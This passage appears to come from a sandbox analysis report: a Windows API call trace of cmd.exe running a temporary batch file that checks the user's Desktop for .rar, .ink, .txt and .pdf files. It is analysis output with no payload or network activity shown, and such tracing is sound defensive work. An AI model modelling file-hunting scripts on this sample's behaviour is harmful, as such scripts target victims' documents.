0x4f4bf8 [0037.662] _tell (_FileHandle=3) returned 1922 [0037.662] _close (_FileHandle=3) returned 0 [0037.662] GetFullPathNameW (in: lpFileName="*.rar", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", lpFilePart=0x41eea8*="*.rar") returned 0x2b [0037.662] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.662] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.663] GetLastError () returned 0x2 [0037.663] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.663] GetLastError () returned 0x6 [0037.663] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.663] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.663] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.663] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.663] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.663] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.664] SetConsoleInputExeNameW () returned 0x1 [0037.664] GetConsoleOutputCP () returned 0x1b5 [0037.664] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.664] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.664] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.665] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.665] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.665] SetFilePointer (in: hFile=0x74, lDistanceToMove=1922, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x782 [0037.665] GetProcessHeap () returned 0x4e0000 [0037.665] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.665] GetProcessHeap () returned 0x4e0000 [0037.665] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.665] GetProcessHeap () returned 0x4e0000 [0037.665] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.665] GetProcessHeap () returned 0x4e0000 [0037.665] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.665] GetProcessHeap () returned 0x4e0000 [0037.665] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.665] GetProcessHeap () returned 0x4e0000 [0037.665] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.665] GetProcessHeap () returned 0x4e0000 [0037.665] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.665] GetProcessHeap () returned 0x4e0000 [0037.665] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.665] GetProcessHeap () returned 0x4e0000 [0037.665] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.665] GetProcessHeap () returned 0x4e0000 [0037.665] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.665] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.666] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x782 [0037.666] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1eab, lpOverlapped=0x0) returned 1 [0037.666] SetFilePointer (in: hFile=0x74, lDistanceToMove=1924, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x784 [0037.666] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.rar goto rar\r\n\n\n") returned 2 [0037.666] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.666] GetFileType (hFile=0x74) returned 0x1 [0037.666] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.666] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x784 [0037.666] GetProcessHeap () returned 0x4e0000 [0037.666] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.666] GetProcessHeap () returned 0x4e0000 [0037.666] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.666] _tell (_FileHandle=3) returned 1924 [0037.666] _close (_FileHandle=3) returned 0 [0037.666] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.667] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.667] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.667] SetFilePointer (in: hFile=0x74, lDistanceToMove=1924, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x784 [0037.667] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.667] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x784 [0037.667] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ea9, lpOverlapped=0x0) returned 1 [0037.667] SetFilePointer (in: hFile=0x74, lDistanceToMove=1949, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79d [0037.667] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.ink goto ink\r\n\n\n") returned 25 [0037.667] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.667] GetFileType (hFile=0x74) returned 0x1 [0037.667] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.667] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79d [0037.667] GetProcessHeap () returned 0x4e0000 [0037.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.667] GetProcessHeap () returned 0x4e0000 [0037.667] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.668] GetProcessHeap () returned 0x4e0000 [0037.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.668] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.668] GetProcessHeap () returned 0x4e0000 [0037.668] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.668] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.668] GetProcessHeap () returned 0x4e0000 [0037.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.668] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.668] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.668] GetProcessHeap () returned 0x4e0000 [0037.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.668] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.668] GetProcessHeap () returned 0x4e0000 [0037.668] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.668] GetProcessHeap () returned 0x4e0000 [0037.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.669] _tell (_FileHandle=3) returned 1949 [0037.669] _close (_FileHandle=3) returned 0 [0037.670] GetFullPathNameW (in: lpFileName="*.ink", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", lpFilePart=0x41eea8*="*.ink") returned 0x2b [0037.670] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.670] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.670] GetLastError () returned 0x2 [0037.670] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.670] GetLastError () returned 0x6 [0037.670] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.670] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.670] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.670] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.671] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.671] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.671] SetConsoleInputExeNameW () returned 0x1 [0037.671] GetConsoleOutputCP () returned 0x1b5 [0037.671] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.671] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.671] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.672] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.672] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.672] SetFilePointer (in: hFile=0x74, lDistanceToMove=1949, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79d [0037.672] GetProcessHeap () returned 0x4e0000 [0037.672] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.672] GetProcessHeap () returned 0x4e0000 [0037.672] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.672] GetProcessHeap () returned 0x4e0000 [0037.672] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.672] GetProcessHeap () returned 0x4e0000 [0037.672] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.672] GetProcessHeap () returned 0x4e0000 [0037.672] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.672] GetProcessHeap () returned 0x4e0000 [0037.672] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.672] GetProcessHeap () returned 0x4e0000 [0037.672] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.672] GetProcessHeap () returned 0x4e0000 [0037.672] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.672] GetProcessHeap () returned 0x4e0000 [0037.672] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.672] GetProcessHeap () returned 0x4e0000 [0037.672] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.672] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.672] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79d [0037.673] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e90, lpOverlapped=0x0) returned 1 [0037.673] SetFilePointer (in: hFile=0x74, lDistanceToMove=1951, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79f [0037.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.ink goto ink\r\n\n\n") returned 2 [0037.673] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.673] GetFileType (hFile=0x74) returned 0x1 [0037.673] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.673] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79f [0037.673] GetProcessHeap () returned 0x4e0000 [0037.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.673] GetProcessHeap () returned 0x4e0000 [0037.673] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.673] _tell (_FileHandle=3) returned 1951 [0037.673] _close (_FileHandle=3) returned 0 [0037.673] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.673] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.674] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.674] SetFilePointer (in: hFile=0x74, lDistanceToMove=1951, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79f [0037.674] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.674] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79f [0037.674] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e8e, lpOverlapped=0x0) returned 1 [0037.674] SetFilePointer (in: hFile=0x74, lDistanceToMove=1976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b8 [0037.674] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.txt goto txt\r\n\n\n") returned 25 [0037.674] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.674] GetFileType (hFile=0x74) returned 0x1 [0037.674] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.674] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7b8 [0037.674] GetProcessHeap () returned 0x4e0000 [0037.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.674] GetProcessHeap () returned 0x4e0000 [0037.674] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.674] GetProcessHeap () returned 0x4e0000 [0037.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.675] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.675] GetProcessHeap () returned 0x4e0000 [0037.675] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.675] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.675] GetProcessHeap () returned 0x4e0000 [0037.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.675] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.675] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.675] GetProcessHeap () returned 0x4e0000 [0037.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.675] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.675] GetProcessHeap () returned 0x4e0000 [0037.675] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.675] GetProcessHeap () returned 0x4e0000 [0037.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.676] _tell (_FileHandle=3) returned 1976 [0037.676] _close (_FileHandle=3) returned 0 [0037.676] GetFullPathNameW (in: lpFileName="*.txt", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", lpFilePart=0x41eea8*="*.txt") returned 0x2b [0037.677] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.677] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.677] GetLastError () returned 0x2 [0037.677] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.677] GetLastError () returned 0x6 [0037.677] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.677] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.677] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.677] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.678] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.678] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.678] SetConsoleInputExeNameW () returned 0x1 [0037.678] GetConsoleOutputCP () returned 0x1b5 [0037.678] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.678] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.678] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.678] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.679] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.679] SetFilePointer (in: hFile=0x74, lDistanceToMove=1976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b8 [0037.679] GetProcessHeap () returned 0x4e0000 [0037.679] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.679] GetProcessHeap () returned 0x4e0000 [0037.679] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.679] GetProcessHeap () returned 0x4e0000 [0037.679] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.679] GetProcessHeap () returned 0x4e0000 [0037.679] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.679] GetProcessHeap () returned 0x4e0000 [0037.679] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.679] GetProcessHeap () returned 0x4e0000 [0037.679] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.679] GetProcessHeap () returned 0x4e0000 [0037.679] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.679] GetProcessHeap () returned 0x4e0000 [0037.679] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.679] GetProcessHeap () returned 0x4e0000 [0037.679] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.679] GetProcessHeap () returned 0x4e0000 [0037.679] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.679] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.679] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7b8 [0037.680] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e75, lpOverlapped=0x0) returned 1 [0037.680] SetFilePointer (in: hFile=0x74, lDistanceToMove=1978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ba [0037.680] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.txt goto txt\r\n\n\n") returned 2 [0037.680] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.680] GetFileType (hFile=0x74) returned 0x1 [0037.680] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.680] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ba [0037.680] GetProcessHeap () returned 0x4e0000 [0037.680] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.680] GetProcessHeap () returned 0x4e0000 [0037.680] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.680] _tell (_FileHandle=3) returned 1978 [0037.680] _close (_FileHandle=3) returned 0 [0037.680] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.680] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.681] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.681] SetFilePointer (in: hFile=0x74, lDistanceToMove=1978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ba [0037.681] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.681] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ba [0037.681] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e73, lpOverlapped=0x0) returned 1 [0037.681] SetFilePointer (in: hFile=0x74, lDistanceToMove=2003, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d3 [0037.681] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.pdf goto pdf\r\n\n\n") returned 25 [0037.681] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.681] GetFileType (hFile=0x74) returned 0x1 [0037.681] _get_osfhandle (_FileHandle=3) returned 0x74 